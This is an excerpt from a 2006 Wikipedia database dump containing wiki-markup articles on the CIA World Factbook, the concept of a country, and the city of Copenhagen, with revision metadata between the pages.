'''''The World Factbook''''' is an annual publication by the [[Central Intelligence Agency]] of the [[United States]] with basic [[almanac]]-style information about the various [[countries of the world]]. The factbook gives a two- to three-page summary of the [[demography|demographics]], location, [[telecommunication]]s capacity, [[government]], [[industry]], [[military]] capability, ''etc'', of all [[diplomatic recognition|US-recognized]] countries and territories in the world.

As ''The World Factbook'' is prepared by the CIA for the use of [[Federal Government of the United States|U.S. Government]] officials, the style, format, coverage and content are primarily designed to meet their specific requirements. However, it is frequently used as a resource for student papers, web sites and various non-governmental publications. As a work of the U.S. government, it is considered to be in the [[public domain]] (see copyright status below).

==Sources==

Information is provided by:

* [[Antarctic Information Program]] ([[National Science Foundation]]),
* [[Bureau of the Census]] ([[United States Department of Commerce|Department of Commerce]]),
* [[Bureau of Labor Statistics]] ([[United States Department of Labor|Department of Labor]]), 
* [[Central Intelligence Agency]],
* [[Council of Managers of National Antarctic Programs]],
* [[Defense Intelligence Agency]] ([[United States Department of Defense|Department of Defense]]),
* [[United States Department of State|US Department of State]],
* [[United States Fish and Wildlife Service|US Fish and Wildlife Service]] ([[United States Department of the Interior|Department of the Interior]]),
* [[United States Maritime Administration|US Maritime Administration]] ([[United States Department of Transportation|Department of Transportation]]),
* [[National Imagery and Mapping Agency]] ([[United States Department of Defense|Department of Defense]]),
* [[Naval Facilities Engineering Command]] ([[United States Department of Defense|Department of Defense]]),
* [[Office of Insular Affairs]] ([[United States Department of the Interior|Department of the Interior]]),
* [[Office of Naval Intelligence]] ([[United States Department of Defense|Department of Defense]]),
* [[United States Board on Geographic Names]] ([[United States Department of the Interior|Department of the Interior]]), and 
* other public and private sources.

==Copyright==
[[Image:Wfb_webby.png|thumb|320px|left|The World Factbook website as it appeared in February and March 2005]]
Because the Factbook is in the [[public domain]], people are free to redistribute and modify it in any way they like, without permission of the CIA.

The official seal of the CIA, however, may not be copied without permission as required by the [[Central Intelligence Agency Act|CIA Act of 1949]] (50 U.S.C. section 403m). Misuse of the official seal of the CIA could result in civil and criminal penalties:

: ''Federal law prohibits use of the words &quot;Central Intelligence Agency,&quot; the initials &quot;CIA,&quot; the seal of the Central Intelligence Agency, or any colorable imitation of such words, initials, or seal in connection with any merchandise, impersonation, solicitation, or commercial activity in a manner reasonably calculated to convey the impression that such use is approved, endorsed, or authorized by the Central Intelligence Agency.'' [http://www.cia.gov/cia/notices.html#seal Use of the Central Intelligence Agency Seal]

Many Internet sites have used information and images from the CIA World Factbook, because of its public domain status.

Besides the World Factbook, the CIA puts out a directory of ''[[Chiefs of State and Cabinet Members of Foreign Governments]]'' each week.

==Oddities and controversies==

===Political===
The factbook contains many peculiarities resulting from the diplomatic policies of the United States and does not always take a neutral point of view.  As an official publication of the United States government, the factbook lists the official policy of the United States government as fact often with little more than a footnote to indicate that the fact is disputed or that a contrary position exists*.  The factbook often highlights diplomatic disputes that are recognized by the United States, but ignores or downplays disputes that are not favored by the government's foreign policies.  For example:

*Specific regions within a country or areas in dispute among countries, such as [[Kurdistan]], [[Kashmir]] and [[Kosovo]], are not covered, but other areas of the world whose status is disputed, such as the [[Spratly Islands]], have entries.

*Maps depicting Kashmir have the [[India]]&amp;ndash;[[Pakistan]] border drawn at the [[Line of Control]], but the region of Kashmir occupied by China drawn in hash marks.

*[[Turkish Republic of Northern Cyprus|Northern Cyprus]] is not given a separate entry or listed as part of Turkey because &quot;territorial occupations/annexations not recognized by the United States Government are not shown on U.S. Government maps.&quot;

*[[Taiwan]] has a separate entry not listed under &quot;T&quot;, but at the bottom of the list. [http://www.cia.gov/cia/publications/factbook/countrylisting.html#z Country Listing] The name &quot;''[[Republic of China]]''&quot; is not listed as Taiwan's &quot;official name&quot; under the &quot;Government&quot; section, perhaps due to U.S. recognition of Beijing's [[One-China Policy]] according to which the Republic of China is a defunct entity having been replaced by the [[People's Republic of China]]. The name &quot;Republic of China&quot; was briefly added on [[January 27]], [[2005]] [http://web.archive.org/web/20050203025143/http://www.cia.gov/cia/publications/factbook/geos/tw.html#Govt] but changed back to &quot;none&quot; on [[February 10]], [[2005]]. [http://www.cia.gov/cia/publications/factbook/geos/tw.html#Govt].  (See also: [[Political status of Taiwan]], [[Legal status of Taiwan]])

*The U.S. does not recognize the renaming of Burma by its ruling military junta to [[Myanmar]] and thus keeps its entry for the country under &quot;Burma&quot;.
*: Note: since 1989 the military authorities in Burma have promoted the name Myanmar as a conventional name for their state; this decision was not approved by any sitting legislature in Burma, and the US Government did not adopt the name, which is a derivative of the Burmese short-form name Myanma Naingngandaw [http://www.cia.gov/cia/publications/factbook/geos/bm.html#Govt]

*The [[Former Yugoslav Republic of Macedonia]] is entered under &quot;Macedonia,&quot;[http://www.cia.gov/cia/publications/factbook/geos/mk.html] despite the fact that no international organisations such as the [[United Nations]], the [[European Union]], [[NATO]], the [[European Broadcasting Union]], and the [[International Olympic Committee]] use this short form, which can cause confusion with the wider [[Macedonia (region)|geographical region of Macedonia]] (see also:[[Naming dispute (Macedonia)]])

*On [[December 16]], [[2004]], the CIA added an entry for the [[European Union]]. [http://www.cia.gov/cia/publications/factbook/geos/ee.html] According to the CIA, the European Union was added because the EU &quot;continues to accrue more nation-like characteristics for itself&quot;. Their reasoning was explained in this small statement in the introduction:
*:''The evolution of the European Union (EU) from a regional economic agreement among six neighboring states in 1951 to today's supranational organization of 25 countries across the European continent stands as an unprecedented phenomenon in the annals of history. Dynastic unions for territorial consolidation were long the norm in Europe. On a few occasions even country-level unions were arranged - the Polish-Lithuanian Commonwealth and the Austro-Hungarian Empire were examples - but for such a large number of nation-states to cede some of their sovereignty to an overarching entity is truly unique. Although the EU is not a federation in the strict sense, it is far more than a free-trade association such as ASEAN, NAFTA, or Mercosur, and it has many of the attributes associated with independent nations: its own flag, anthem, founding date, and currency, as well as an incipient common foreign and security policy in its dealings with other nations. In the future, many of these nation-like characteristics are likely to be expanded. Thus, inclusion of basic intelligence on the EU has been deemed appropriate as a new, separate entity in The World Factbook. However, because of the EU's special status, this description is placed after the regular country entries.''

*On [[January 10]], [[2006]], the CIA changed the name of the entry for the [[Isle of Man]] to the former [http://www.cia.gov/cia/publications/factbook/geos/im.html]. Before then, the area had been listed as &quot;Man, Isle of&quot; (this difference in the name of the entry can be seen in the [http://www.umsl.edu/services/govdocs/wofact2002/geos/im.html 2002 edition of the Factbook]).

*footnote: The Factbook indicates the status of a given country as recognized by U.S. Government foreign policy. As such it is neither required nor encouraged to provide &quot;alternative viewpoints.&quot;

===Factual===

Controversy about the Factbook arose in [[1998]] when [[United Kingdom|British]] journalists noticed it contained some oddities - most notably the line &quot;''Independence: 1 January 1801 (United Kingdom established)''&quot;. [http://www.umsl.edu/services/govdocs/wofact96/258.htm] By [[2005]] this terse, confusing description had been greatly expanded. [http://www.cia.gov/cia/publications/factbook/geos/uk.html#Govt]

=== Focal points ===

The maps of countries in the Factbook also appear to have strange anomalies. For example, the overall map of the United Kingdom lists the town of [[Grangemouth]] in [[Scotland]], although it is only a small town and in no way a major city (this is perhaps due to its status
as a major center of the oil industry in Scotland).

The map of Sweden includes [[Tärnaby]] with 500 inhabitants, a town basically unknown except for a few notable natives. ([http://www.cia.gov/cia/publications/factbook/maps/sw-map.gif map])

The map of the United States contains [[Prudhoe Bay]], [[Alaska]], the only city noted in the state other than [[Anchorage]].  Despite being an oil field town with several thousand temporary workers at any given time, the town has a permanent population of only five people according to the [[2000]] [[census]].

Despite the aforementioned quirks and anomalies in the factbook, it remains a quite accurate source of geographical and political information used by a variety of sources outside the CIA.

==See also== 

* [[Abbreviations used in CIA World Factbook]]

==External links==

* [http://www.cia.gov/cia/publications/factbook/ World Factbook Website]
* [http://www.memoware.com/?screen=doc_detail&amp;doc_id=15510&amp;back=main 2004 CIA World Factbook] for [[Pocket PC]] and [[Palm OS]] devices
* [http://www.geoplace.com/hottopics/CIAwfb/factbook/index.html 2004 CIA World Factbook]
* [http://www.nationmaster.com Nationmaster.com]: statistics with bars
* [http://www.authorama.com Authorama CIA World Factbook]: The complete Factbook as XHTML1.0 (easily readable, no images, device-independent)
* [http://en.wikipedia.org/wiki/Wikipedia:Status_of_the_porting_of_the_CIA_World_Factbook Wikipedia:Status of the porting of the CIA World Factbook], use of The World Factbook on [[Wikipedia]]

[[Category:Almanacs|World Factbook, The]]
[[Category:Central Intelligence Agency|World Factbook, The]]

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    </revision>
  </page>
  <page>
    <title>Country</title>
    <id>5165</id>
    <revision>
      <id>41978722</id>
      <timestamp>2006-03-03T00:33:02Z</timestamp>
      <contributor>
        <username>Adrian</username>
        <id>103917</id>
      </contributor>
      <comment>Reverted edits by [[User:24.164.72.178|24.164.72.178]] ([[User talk:24.164.72.178|t]]) ([[Special:Contributions/24.164.72.178|c]]) to last version by Robdurbar</comment>
      <text xml:space="preserve">: ''This article describes ''country'' as a type of geographical or political entity. '''Country''' is also a short form for the [[countryside]] or the [[country music]] genre.''
{{wiktionarypar|country}}
In [[political geography]] and [[international politics]] a '''country''' is a geographical territory. It is used casually in the sense of both the concept of ''[[nation]]'' (a cultural entity; see [[#Nation|below]]) and ''[[state]]'' (a political entity). Strict definitions tend to place it as meaning only the state [http://geography.about.com/cs/politicalgeog/a/statenation.htm], though general use is wider than this [http://www.emulateme.com/country.aspx?countryid=96&amp;countryName=Greenland].

There are dozens of other, non-[[Sovereignty|sovereign]] territories which constitute a geographical country, but are not sovereign states. Several states have overseas [[dependency|dependencies]], with territory and citizens separate from their own. These have some features of countries and are sometimes listed as such.
==Characteristics of a country==
A country usually has its own [[government]], administration and [[law]]s; and often a [[constitution]], [[police]], [[military]], [[tax]] rules, and a [[population]] who are referred to as one another's ''countrymen''. Together they form what [[Benedict Anderson]] referred to as an ''imagined community''.

==Types of Country==
===The State===
{{main|State}}
A ''State'' is an [[Independence|independent]] territory with a [[government]], a population and [[Sovereignty|sovereignty]] over these. The entire [[landmass]] of the [[world]] (excluding [[Antarctica]]), along with [[territorial sea|coastal sea]]s is considered to be divided among such countries. There are currently 192 states (countries) recognized by the [[United Nations]] &amp;mdash; its 191 members and the [[Holy See|Vatican City]]. 

In addition to these, there are other non [[Sovereignty|sovereign]] territories which, under the philosophy of [[self-determination]], wish to be considered countries in this sense. Some of these have ''[[de facto]]'' control over their population and territory, such as [[Abkazia]], but are not considered states as they are not recognised as having sovereignty. On the other hand, in some internationally-recognized states, there is no functioning central government or there are several ''[[de facto]]'' states and governments. These are internationally not considered to constitute separate states, but rather to exist on the territory of the internationally recognized state.

=== Nation ===
{{main|Nation}}
A nation is a 'set of people with a common identity who have formed a nation-state or usually aspire to do so' (Viotti and Kauppi, 2001). In this sense of country, the reference is more likely to be to a group that supposedly shares a common [[ethnic]] origin, [[language]], religion, or history (real or imagined). 
The term has become synonymous with 'country' where nations without sovereignty (that is, nations that are not states) have aimed to identify themselves on the same terms as sovereign states. Others, including [[nationalist]]s, may consider their single nation (or country) to be divided between different states.

===Constituent Countries===
{{main|Constituent Country}}

Three of the constituent parts of the [[United Kingdom]], which itself may be considered a country in the sense of this article, are also called countries: [[England]], [[Scotland]] and [[Wales]], see [[constituent countries|constituent countries of the United Kingdom]]. [[Northern Ireland]] is known as a [[province]] of the United Kingdom rather than a country.

==Nation, country and state==
 
In the [[English language]], the terms [[nation]] (cultural), [[country]] (geographical) and [[state]] (political) do have precise meanings, but in daily speech and writing they are often used interchangeably, and are open to different interpretations. For example, [[Image:Cornwallflag22.PNG|25px]] [[Cornwall]] is considered by some to be a nation in [[Image:England flag.svg|25px]] [[England]] which is a [[constituent country]], or [[home nation]], of the {{UK}}. The United Kingdom is an internationally recognised [[Sovereignty|sovereign]] [[state]], which is also referred to as a [[country]] and whose inhabitants have British [[nationality]]. The terminology can be further complicated by the use of the word ''state'' to mean a non-sovereign sub-entity of as sovereign state, as is done in the {{USA}} and  {{AU}}. In most English-speaking countries when the terms ''state'', ''nation'' and ''country'' are used internally, they are understood by the context in which they are used and are not controversial. However, when these terms are used to describe the statehood aspirations of a people who do not currently live in the internationally recognised [[Independence|independent]] state they would like to inhabit, these terms can be controversial and open to misunderstanding.

In reality, there is often a rough correspondence between both senses of country - this is the concept of the [[nation-state]]. It is one that many [[government]]s have attempted to encourage, in order to provide legitimacy to their control over a territory. However, because of historical and modern migration, ethnically homogeneous communities are rare or non-existent ([[Iceland]] and [[Japan]] being the most commonly quoted exceptions).

==See also==
*[[Nation-state]] for the history of the development of the modern nation states
*[[List of countries]]
*[[Lists by country]]
*[[List of international rankings]]
*[[Constituent Countries]]
*[[State]]
*[[Dependent area]]
*[[List of dependent territories]]
*[[List of subnational entities]]
*[[ISO 3166]], list of countries and corresponding international standard codes
*[[List of country name etymologies]]
*[[Enclave]], includes a list of enclaves.
*[[Territory]]
*[[Border]]
*[[Wilderness]]

==References==
*Anderson, Benedict; 'Imagined Communities: Reflections On the origin and Spread of Nationalism'; London, Verso; 1991

*Viotti, Paul R. and Kauppi, Mark V.; 'International Relations and World Politics - Security, Economy, Identity'; Second Edition; New Jersey, Prentice Hall; 2001

==External links==
*[http://www.cia.gov/cia/publications/factbook/index.html The CIA World Factbook]
*[http://www.state.gov/r/pa/ei/bgn/ The US Department of State] ''Background notes'' on countries the US has relations with
*[http://www.lonelyplanet.com/destinations/ Lonely Planet] Clickable map and information on the world's countries
*[http://www.nationmaster.com/ Nationmaster.com] Allows sorting countries on all kinds of statistics
*[http://www.populationdata.net PopulationData.net]
*[http://unstats.un.org/unsd/ United Nations statistics devision]

[[Category:Geography]]
[[Category:Countries| ]]
&lt;!-- The below are interlanguage links. --&gt;

[[ur:ملک]]
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[[ja:国家]]
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[[ru:Страна]]
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[[sv:Land]]
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[[zh:国家]]</text>
    </revision>
  </page>
  <page>
    <title>Copenhagen</title>
    <id>5166</id>
    <revision>
      <id>41966478</id>
      <timestamp>2006-03-02T22:56:44Z</timestamp>
      <contributor>
        <ip>195.249.187.11</ip>
      </contributor>
      <comment>/* Famous Copenhageners */</comment>
      <text xml:space="preserve">:''This article is about the city and municipality of Copenhagen. For the play by Michael Frayn, see [[Copenhagen (play)]]. For the community in Louisiana, see [[Copenhagen, Louisiana]]. For the interpretation of quantum physics, see [[Copenhagen interpretation]]''.{{Copenhagen infobox}}
'''Copenhagen''' ([[Danish language|Danish]]: ''København'') is the [[capital]] of [[Denmark]], and the name of the municipality ([[Danish language|Danish]], ''[[Commune (subnational entity)|kommune]]'') in which it resides. With its population of 1,116,979 inhabitants it is the largest city in Denmark.  It is also the name of a county in Denmark, [[Copenhagen County]]— but the city ([[municipality]]) is not a part of this county but rather is a semi-[[enclave]] of Copenhagen County. [[Frederiksberg]] is in turn an enclave of the city of Copenhagen, also not part of the County that surrounds both municipalities.

The contemporary Danish name for the city is a corruption of the original designation for the city, ''Kjøbmandehavn'', (the silent 'j' was later dropped) a composite in Danish of ''kjøb'' (&quot;to buy&quot;) + ''mand'' (&quot;man&quot;) = &quot;the men one buys from&quot; or &quot;merchants&quot; and thus the &quot;Merchants' Harbour&quot;; ''København'' is pronounced {{IPA|[købm̩ˈhawˀn]}}. The [[English language|English]] word for the city is derived from its [[German language|German]] name, ''Kopenhagen'', but note that the 3rd syllable is more often pronounced &quot;hay&quot; in English, not &quot;hah&quot;, i.e. {{IPA|[kəʊpn̩ˈhɛɪgn̩]}}. 

Copenhagen is home to the national [[Folketing|parliament]], [[Government of Denmark|government]], and [[List of Danish monarchs|monarchy]], which are all situated in the heart of the city.

==Copenhagen municipality==
Copenhagen is one of only three Danish municipalities which do not belong to any of the [[Counties of Denmark]]— the others are [[Frederiksberg]] and [[Bornholm]].

The municipality covers an area of 88 [[square kilometre|km²]], and has a total population of 502,362 (2005).  [[Lord Mayor of Copenhagen]] is Ritt Bjerregaard, a member of the [[Social Democrats (Denmark)|Social Democrats]] (''Socialdemokraterne'') [[Politics of Denmark|political party]], who is head of the Finance Committee.  Other mayors are Martin Geertsen (Cultural and Recreational Committee), Per Bregengaard (Education and Youth Committee), Inger Marie Bruun-Vierø (Health and Care Committee), Bo Asmus Kjeldgaard (Family and Labout Market Committee), Søren Pind (Building and Construction Committee), and Winnie Berndtson (Energy, Water and Environment Committee).

The seat of government is [[Copenhagen City Hall]] (''Rådhus'').

Neighboring municipalities are [[Gentofte]], [[Gladsaxe]] and [[Herlev]] to the north, [[Rødovre]] and [[Hvidovre]] to the west, and [[Tårnby]] to the south.  [[Frederiksberg]] is located as an [[enclave]] in the municipality, and is thus surrounded by Copenhagen.

Copenhagen municipality will not be merged with other municipalities by [[January 1]], [[2007]] as the result of nationwide [[Municipalities of Denmark#Municipality Reform 2007|''Kommunalreformen'' (&quot;The Municipality Reform&quot; of 2007)]].

==History of Copenhagen==
:''Main article: [[History of Copenhagen]]''
Copenhagen was founded around year 1000 by [[Sweyn I of Denmark|Sweyn I Forkbeard]] (Svend Tveskæg) and his son [[Canute the Great]] ([http://da.wikipedia.org/wiki/Knud_2._den_Store Knud den Store]). It was only a [[fishing]] [[village]] by the name of &quot;Havn&quot; (harbour) until the middle of the 12th century when it grew in importance after coming into the possession of the [[Bishop]] [[Absalon]], who fortified it in [[1167]]. The excellent [[harbour]] encouraged Copenhagen's growth until it became an important centre of commerce (hence its name). It was repeatedly attacked by the [[Hanseatic League]] as the Germans took notice. In 1254, it received its charter as a city under Bishop Jakob Erlandsen.

[[Image:Copenhagen_1895.jpg|thumb|left|200px|Copenhagen circa [[1895]].]]

During [[1658]]-[[1659|59]] it withstood a severe siege by the [[Sweden|Swedes]] under [[Charles X of Sweden|Charles X]]. In [[1801]] a British fleet under Admiral Parker fought a major battle, the [[Battle of Copenhagen]], with the Danish navy in Copenhagen harbour. It was during this battle [[Horatio Nelson|Lord Nelson]] famously &quot;put the telescope to the blind eye&quot; in order not to see Admiral Parker's signal to cease fire. When a British expeditionary force bombarded Copenhagen in [[1807]], to prevent Denmark from surrendering its fleet to [[Napoleon]], the city suffered great damage and hundreds of people were killed.
The reason why the devastation was so great was that Copenhagen relied on an old defence-line rendered virtually useless by the increase in shooting range available to the British. But not until the 1850's were the ramparts of the city opened to allow new housing to be built around the lakes (&quot;''Søerne''&quot;) which bordered the old defence system to the west. This dramatic increase of space was long overdue, not only because the old ramparts were out of date as a defence system, but also because of bad sanitation in the old city.

During [[World War II]] Copenhagen was [[Occupation of Denmark|occupied by German troops]] along with the rest of the country from 9th of April [[1940]] until 4th of May [[1945]]. In August 1943, when the government's collaboration with the occupation forces collapsed, several ships where sunk in Copenhagen Harbour by the Royal Danish Navy to prevent them being used by the Germans. 
The city has grown greatly since the war, in the seventies using the so-called five-finger-plan of communter trainlines to surrounding towns and suburbs.

[[Image:KgsNytorv.jpg|thumb|right|200px|[[Kongens Nytorv]] in the [[Winter]]time]]

Since the summer [[2000]], the cities of Copenhagen and [[Malmö]] have been connected by a toll [[bridge]]/tunnel ([[Oresund Bridge|Øresund Bridge]]), which allows both rail and road passengers to cross. It was inaugurated in July 2000 by [[Carl XVI Gustaf of Sweden|King Carl XVI Gustaf]] of Sweden and [[Margrethe II of Denmark|Queen Margrethe II]] of Denmark. As a result, Copenhagen has become the centre of a larger metropolitan area which spans both nations. The construction of the bridge has led to a large number of changes to the public transportation system and the extensive redevelopment of Amager, south of the main city. The bridge has not yet been as widely used by motorists as was originally hoped, likely due to the high road tolls, allegedly slowing the planned integration of the region. Train passengers, however, are plentiful and increasing in numbers. The lack of a commonly acceptable currency throughout the area is another hindrance to the integration of the region, even though a growing number of shops, restaurants etc, if not usually encouraged, accept payment with either nation's currency in the other country. 

[[Image:CopenhagenNyHavn2001.jpg|thumb|left|200px|[[Nyhavn]].]]

==Geography==
Copenhagen is located on the eastern shore of the island of [[Zealand|Zealand ''(Sjælland)'']] and partly on the island of [[Amager]]. Copenhagen faces to the east the [[Oresund|Øresund]], the strait of water that separates Denmark from [[Sweden]], and that connects the [[North Sea]] with the [[Baltic Sea]]. On the Swedish side of the sound directly across from Copenhagen, lie the towns of [[Malmö]] and [[Landskrona]].

1,116,979 people live in [[Metropolitan Copenhagen|metropolitan Copenhagen (Storkøbenhavn)]]. Of these 502,204 live in the Municipality of Copenhagen, 91,721 in the Municipality of [[Frederiksberg]], 68,704 in the Municipality of [[Gentofte]] and another 454,350 in other nearby municipalities. 

An even larger metropolitan region is known as the [[Danish Capital Region|Danish Capital Region (''Hovedstadsregionen'')]], which consists of the municipalities of Copenhagen and [[Frederiksberg]], and the counties of [[Copenhagen County|Copenhagen]], [[Frederiksborg County|Frederiksborg]] and [[Roskilde County|Roskilde]]. The population of ''Hovedstadsregionen'' is 1,823,109. 

Copenhagen is also a part of the [[Øresund]] region, which consists of the eastern part of Zealand in Denmark and the western part of [[Skåne]] in [[Sweden]].

The city itself is divided into 15 administrative, statistical and tax districts (''bydele''):
* [[Indre By]] (&quot;Copenhagen Center&quot;)
* [[Christianshavn]]
* [[Indre Østerbro]] (&quot;Inner Østerbro&quot;)
* [[Ydre Østerbro]] (&quot;Outer Østerbro&quot;)
* [[Indre Nørrebro]] (&quot;Inner Nørrebro&quot;)
* [[Ydre Nørrebro]] (&quot;Outer Nørrebro&quot;)
* [[Vesterbro]] 
* [[Kongens Enghave]]
* [[Valby]]
* [[Vanløse]]
* [[Brønshøj-Husum]]
* [[Bispebjerg]]
* [[Sundbyøster]]
* [[Sundbyvester]]
* [[Vestamager]]

==Culture==
[[Image:The Little Mermaid 4.jpg|right|200px|thumb|The statue of [[The Little Mermaid]], a monument to [[Hans Christian Andersen]], in Copenhagen harbour.]]
Danish newspapers rank Copenhagen as one of the world's best cities in which to live, despite the high cost of living.

''[[Strøget]]'', a pedestrian shopping street in central Copenhagen was inaugurated in 1961. Copenhagen's extensive pedestrian network has been developed over the last 40 years through the work of architect and professor [[Jan Gehl]].

The [[Copenhagen Jazz Festival]] is a popular annual event that is the result of a significant [[jazz]] scene having existed for many years. It developed significantly when a number of [[United States|American]] [[jazz musician]]s such as [[Ben Webster]], [[Thad Jones]], [[Richard B. Boone|Richard Boone]], [[Ernie Wilkins]], [[Kenny Drew]], [[Ed Thigpen]], [[Bob Rockwell]] and others such as rock guitarist [[Link Wray]] came to Copenhagen beginning in the 1960s.

[[Sexual equality]] is a high priority in [[Denmark]]. Women should encounter little or no discrimination in Copenhagen, and [[sexual harassment]] is rare compared to other Western [[capital]] cities.

Copenhagen is a popular destination for [[gay]] and [[lesbian]] travellers. It has an active gay community and lots of nightlife options. The main gay and lesbian festival of the year is the [[Copenhagen Pride]] (formerly the Mermaid Pride Parade), a big [[Mardi Gras]]-like bash that occurs on a Saturday in early August. There's also the [[Copenhagen Film Festival]], held each year in October. [[Danes]] have a high degree of tolerance for &quot;alternative&quot; lifestyles of all sorts, and gays are as free as anyone to express themselves. The biggest gay club in Denmark is [[Pan Club Copenhagen]] .See [[Homosexuality in Denmark]] for more information.

Copenhagen is a 24-hour party city. For free [[entertainment]] simply stroll along [[Strøget]], especially between [[Nytorv]] and [[Højbro Plads]], which in the late afternoon and evening is a bit like an impromptu three-ring [[circus]] with [[musicians]], [[magicians]], [[jugglers]] and other [[street performers]].

==Sport==
Copenhagen has a wide variety of [[sport]] teams. Denmark's two leading [[football (soccer)|football]] teams, [[Brøndby IF]] and [[FC København]], are based in Copenhagen .  In recent years, Brøndby IF has become the most successful team in Danish history, winning the [[Danish Superliga|Danish Championship]] 10 times and the [[Danish Cup]] 5 times since 1985.  FC København has won the Danish Championship 4 times and the Danish Cup 3 times over the last 20 years.  FC København's home ground is the Danish national stadium, [[Parken]].

Notable Copenhagen teams playing at the second highest level in Danish football (the [[Danish 1st Division]]) include [[Akademisk Boldklub|AB]], [[Hellerup IK|HIK]], [[Boldklubben Frem|Frem]], [[Brønshøj Boldklub|Brønshøj]] and [[Boldklubben Skjold|Skjold]].

Copenhagen also has three ice hockey teams [[Rødovre Mighty Bulls]], [[Herlev Hornets]] and [[Nordsjælland Cobras]].

There is both a men's and a women's handball team, and both teams play in the highest league.

The [[Danish Australian Football League]], based in Copenhagen is the largest [[Australian rules football]] competition outside of the [[Anglosphere|English speaking world]].

Copenhagen is also home to a number of Denmark's 40-odd cricket clubs.  Although Denmark has been an associate member of the [[International Cricket Council]] since 1966, the sport is not taught much in schools, and [[Danish cricket team|Danish cricket]] competes unfavourably with the much more widely-followed sport of football for players, facilities, media attention and spectators.

==Cuisine==
Copenhagen offers a great variety of fine restaurants and modest eateries with open sandwiches (called &quot;smørrebrød&quot;) as the most known dish. Also, Copenhagen is known for the hotdog stands found throughout the city.

Lately, immigration from the Middle East and North Africa has made dishes like kebab and falafel as popular as more traditional Scandinavian fast food.

==Transportation==
[[Image:Trains in Copenhagen.jpg|thumb|left|250px|Trains in Copenhagen outside of Carlsberg building]]
Copenhagen has a public transportation system, consisting of commuter trains (called &quot;[[S-Train]]s&quot; (''S-tog'')), [[bus]]es, and a new [[Copenhagen Metro|metro]]. The S-trains form the basis of the transportation network, stretching to most areas of metropolitan Copenhagen, with their main hub at Copenhagen Central Station (København H). Some regional trains supplement the S-train services with lines extending further such as to the [[Copenhagen Airport]], [[Elsinore]], and [[Malmö]]. The entire system is governed by the same overall authority and tickets are transferable from one mode to another. The region is divided up into 99 zones which govern the cost of a ticket. Travelling through two zones is less expensive than three, four, or more zones. A trip of seven or more zones costs a base rate. Ticket prices are high and have increased substantially in recent years leading to a decrease in passenger numbers. In fact the percentage of trips made on public transportation in Copenhagen is quite low by northern European standards.

An extensive road system is also in place for private automobiles, and the city's [[bicycle paths]] are extensive and well-used. The city provides [[Community bicycle program|public bicycles]] which can be found throughout the downtown area and used with a returnable deposit of 20 [[Danish krone|kroner]]. Bicycle paths are often separated from the main automobile lanes and have their own signal systems.

==Places of note in or near Copenhagen==
[[Image:Christiansborg Slot1.jpg|thumb|right|200px|''[[Christiansborg]] Castle'' - home of the Danish Parliament - ''[[Folketing]]et''.]]
[[Image:kopenhagenborse.jpg|thumb|right|200px|Danish Stock Exchange (''[[Børsen]]'') with Parliament to the right.]]
*[[Amalienborg Palace]]
*[[Assistens Cemetery]] (Assistens Kirkegård)
*[[Arken Museum of Modern Art]]
*[[Børsen]] The Stock Exchange
*[[The Copenhagen Opera House]]
*[[Dyrehavsbakken|Bakken]]
*[[Freetown Christiania|Christiania]]
*[[Christiansborg]]
*[[Copenhagen Zoo]]
*[[Statens Museum for Kunst|Danish National Gallery]]
*[[Dyrehaven|The Deer Park]]
*[[Frederiksborg Palace]] in [[Hillerød]]
*[[Gefion fountain]]
*[[Kastellet]]
*[[Kongens Have]]
*[[Kronborg|Kronborg Castle]] &amp;mdash; [[Hamlet]]'s castle in [[Elsinore]] (''Helsingør'')
*[[The Little Mermaid]]
*[[La Fontaine(jazz)|La Fontaine]]
*[[Louisiana Museum of Modern Art]]
*[[National Museum of Denmark]]
*[[Ny Carlsberg Glyptotek]]
*[[Nyhavn]]
*[[Rosenborg Castle]]
*[[Roskilde Cathedral]] 
*[[Rundetårn]]
*[[Strøget]]
*[[Tivoli Gardens, Copenhagen|Tivoli Gardens]]

==Famous Copenhageners==
*[[Karen Blixen]] a.k.a. [[Isak Dinesen]]
*[[Niels Bohr]]
*[[Aage Bohr]]
*[[Tycho Brahe]]
*[[Georg Brandes]]
*[[Tove Ditlevsen]]
*[[August Bournonville]]
*[[Nicolai Grundtvig|Frederik Grundtvig]]
*[[Ludvig Holberg]]
*[[Iben Hjejle]]
*[[J. C. Jacobsen]] (founder of [[Carlsberg]] Brewery)
*[[Søren Kierkegaard]]
*[[Jakob Nielsen (usability consultant)|Jakob Nielsen]]
*[[Ole Rømer]]
*[[Sandi Toksvig]]
*[[Jørn Utzon]]

==See also==
* [[Eurovision Song Contest 2001]]
* [[Junior Eurovision Song Contest 2003]]
* [[Transportation in Denmark]]
* [[Ports of the Baltic Sea]]

==External links==
{{commons|København}}
* [http://www3.kk.dk/Topmenu/English/City%20of%20Copenhagen.aspx Municipality's official website]
* [http://www.sk.kk.dk/indexUK.htm City of Copenhagen Statistical Office]
* [http://www.copcap.com/ Copenhagen Capacity, the official investment agency of Greater Copenhagen]
* [http://politiken.dk/VisArtikel.iasp?PageID=143878 Webcam of the City Hall Square] from Politiken, a national daily newspaper. Images updated every 20 seconds
* [http://maps.google.com/maps?ll=55.682917,12.591019&amp;spn=0.060339,0.085316&amp;t=k&amp;hl=en Satellite photo map from Google Maps]
* [http://www.visitcopenhagen.dk/ Wonderful Copenhagen official tourism web site] 
* [http://dr.dk/hca/en/tidsmaskinen/default.asp The Time Machine] The history of Copenhagen in the 1800's in sound and images from [http://dr.dk Danish Broadcasting Corp. (DR)]
* [http://www.megaholiday.com/copenhagen/index.html Copenhagen in Pictures]
* [http://www.netkontor.dk/cph/ Daily Pictures from Copenhagen]
* [http://www3.aok.dk/Copenhagen/Visiting_Copenhagen/ Visiting Copenhagen (AOK)]
* [http://www.rejseplanen.dk/bin/query.exe/en? Rejseplanen: Getting around with public transportation]
* [http://www.copenhagen.at/ Pictures of Copenhagen] Site with a lot of pictures of Copenhagen and the surrounding area
* [http://wikitravel.org/en/Copenhagen Wikitravel Copenhagen]

==References== 
* Municipal statistics: [http://www2.netborger.dk/Kommunefakta/ NetBorger Kommunefakta], delivered from [http://www.kmd.dk/ KMD aka Kommunedata (Municipal Data)]
* Municipal mergers and neighbors: [http://kommune.eniro.dk/region/media/nyekommuner.shtml Eniro new municipalities map]

{{amt}}


[[Category:Capitals in Europe]]
[[Category:Coastal cities]]
[[Category:Copenhagen| ]]
[[Category:Eurovision host cities]]

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    <title>Combinatorics</title>
